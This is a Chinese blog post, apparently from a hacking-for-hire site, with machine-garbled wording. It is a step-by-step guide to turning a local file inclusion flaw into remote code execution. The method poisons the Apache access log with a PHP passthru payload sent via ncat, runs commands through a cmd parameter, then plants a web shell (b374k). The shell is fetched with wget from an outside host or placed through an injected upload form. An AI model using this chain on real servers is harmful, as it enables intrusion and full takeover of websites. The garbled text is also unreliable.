经过APACHE ACCESS LOG来使用LFI缝隙

访客5年前关于黑客接单764

本地文件包括(LFI)缝隙,常被入侵者用来提取站点地点服务器上的不同文件内容,如passwd,hosts等。但你有没有想过将它提升到另一个层级?即经过本地文件包括来获取服务器上的浏览器shell(c99,b374k等)。本文也将就此展开讨论,下面让咱们步入正题!
设置
我将运用我本地的浸透测验环境设置为例。我当时所运用的web运用程序是Mutillidae。此外,咱们有必要将Apache装备为答应目录遍历。
Options Indexes
show time
首要咱们来寻觅LFI缝隙,点击链接后咱们能够看到如下的url地址:
/index.php?page=
让咱们测验包括一个灵敏文件途径/etc/passwd,看看会发作什么。如下:
/index.php?page=/etc/passwd

居然成功读取到了文件内容!这也为咱们验证了该运用的确存在本地文件包括缝隙。接下来咱们来包括Apache access log,看看是否也能拜访到其间的内容。
拜访日志的方位和文件名在不同的体系上会有所差异,在我的体系上是/var/log/apache2/access.log。将url修正如下:
/index.php?page=/var/log/apache2/access.log

太棒了!拜访日志的内容也成功被加载。
经过以上的开始验证,现在是时分进入到咱们的第二阶段了。
Apache拜访日志的运用
在此之前,你有必要要对Apache日志有所了解。
服务器拜访日志记载服务器处理的一切恳求。
参阅来历:http://httpd.apache.org/docs/1.3/logs.html#accesslog
这也意味着咱们发送到服务器上的任何恳求都将会被保存到这儿。
首要咱们翻开一个终端,然后运用netcat向服务器发送一个GET恳求。咱们之所以没有运用浏览器发送此恳求,是因为它会对咱们的恳求进行url编码,这将导致它无法正常作业。咱们注入的代码如下:
 passthru($_GET['cmd']); ?>
关于passthru()函数:
passthru – 履行外部程序并显现原始输出
参阅来历:http://php.net/passthru
要运用netcat发送恳求,咱们需要在终端中履行以下操作:
ncat 192.168.56.101 80
然后咱们键入以下内容:
GET / passthru($_GET['cmd']); ?> HTTP/1.1
Host: 192.168.56.101
Connection: close
注:这儿你有必要将192.168.56.101更改为你方针的IP地址。这是我虚拟机的IP地址。
终究看起来应该像下面这样:
$ ncat 192.168.56.101 80
GET / HTTP/1.1
Host: 192.168.56.101
Connection: close
 
HTTP/1.1 404 Not Found
Date: Mon, 17 Mar 2014 17:34:53 GMT
Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.5 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/3.0.17 mod_perl/2.0.4 Perl/v5.10.1
Vary: Accept-Encoding
Content-Length: 202
Connection: close
Content-Type: text/html; charset=iso-8859-1
 
404 Not Found
Not Found
 
The requested URL /
现在让咱们来验证下咱们的注入是否有用,回来浏览器并向URL增加一个新参数:
cmd=
在咱们的比如中,我将运用id指令:
/index.php?page=/var/log/apache2/access.log&cmd=id
现在,咱们来看看咱们得到的输出。 仔细看,你会看到相似于红框标示的内容:

咱们的指令在服务器上成功被履行!
下面是咱们的重头戏,即获取服务器的浏览器shell。这儿有两种办法,之一种是运用wget,第二种是注入上传表单。咱们先来介绍之一种。
运用wget
Wget是一个文件下载指令。尽管并非总是那么有用,但作为最简略的办法是咱们首要需要去测验的。将cmd参数更改如下:
&cmd=wget http://somedomain.com/shellfile.php
这将把shellfile.php下载到服务器,并将其保存在当时的作业目录中(假如可读的话)。假如你想要将它保存在其它方位,你能够参阅wget手册。经过这种办法,能够为你省去上传表单的中心进程。
上传表单
假如wget不起作用,咱们能够运用上传表单这种办法。咱们将在服务器上履行echo指令,该指令将会将咱们的恣意内容写入到文件。将cmd参数更改如下:
"multipart/form-data" ACTION= echo "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; ?> METHOD=POST>Send this file: "userfile" TYPE="file">"submit" VALUE="Send"> move_uploaded_file($_FILES["userfile"]["tmp_name"], $_FILES["userfile"]["name"]); ?>
这将在服务器上创立一个带有上传表单的文件。然后咱们在浏览器中翻开该上传页面,上传咱们的浏览器shell。
如下所示,咱们成功上传了b374k shell。

进程回忆
1.经过获取passwd,hosts等文件来验证LFI缝隙;
2.经过LFI缝隙获取Apache日志拜访;
3.运用netcat或相似东西发送歹意恳求;
4.经过测验id,whoami等简略指令来验证代码履行;
5.运用wget或将上传表单写入服务器,将浏览器shell增加到服务器上;
6.拜访浏览器shell验证是否成功。
总结
尽管这自身并不是一个超高危险的缝隙,但在被正确运用的情况下也可能会带来巨大的安全要挟。
 

相关文章

一名代码审计新手的实战阅历与感悟

blueCMS介绍 个人认为,作为一个要入门代码审计的人,审计流程应该从简略到困难,逐渐提高。因而我主张咱们的审计流程为——DVWA——blueCMS——其他小众CMS——结构。一起做总结,搞清楚缝隙...

再度瞄准工控设备基础设施:针对TRITON歹意活动的详细分析

FireEye近期承认TRITON歹意活动正在针对一个新的要害基础设施建议进犯,咱们现在现已对该歹意行为采取了呼应办法。 2019年12月,FireEye揭露发布了咱们针对TRITON进犯的第一次剖析...

操控流程完整性:给我们介绍一种“特殊”的Javascript反剖析技能

写在前面的话 了解歹意软件的实在代码对歹意软件剖析人员来说对错常有优势的,由于这样才干够实在了解歹意软件所要做的工作。但不幸的是,咱们并不总是能够得到“实在”的代码,有时歹意软件剖析人员或许需求相似...

【对立蠕虫】怎么维护网页里的按钮,不被 XSS 主动点击

前语 XSS 主动点按钮有什么损害? 在交际网络里,大多操作都是经过点击按钮建议的。例如宣布留言,假设留言体系有 BUG,那么 XSS 就能主动点击发送按钮,发布带有恶意代码的留言。老友看了中招后,又...

安全搜索引擎Shodan(搜蛋)命令行形式运用TIPS

与谷歌经过网址来搜索互联网的方法不同,Shodan经过互联网背面的通道来搜索信息。它就象是一种“漆黑”的谷歌,不断在寻觅服务器、网络摄像头、打印机、路由器和其他与互联网衔接及构成互联网的全部东西。 S...

深度聊聊PHP下的“切断”问题

0×01 原因 学弟有天在群里说起上传的%00切断的一些问题,就想起之前自己在这个问题踩过坑,想起了自己从前的flag说要写文章,一向没写,现在来填坑了。 0×02 通过 源码了解: //test.p...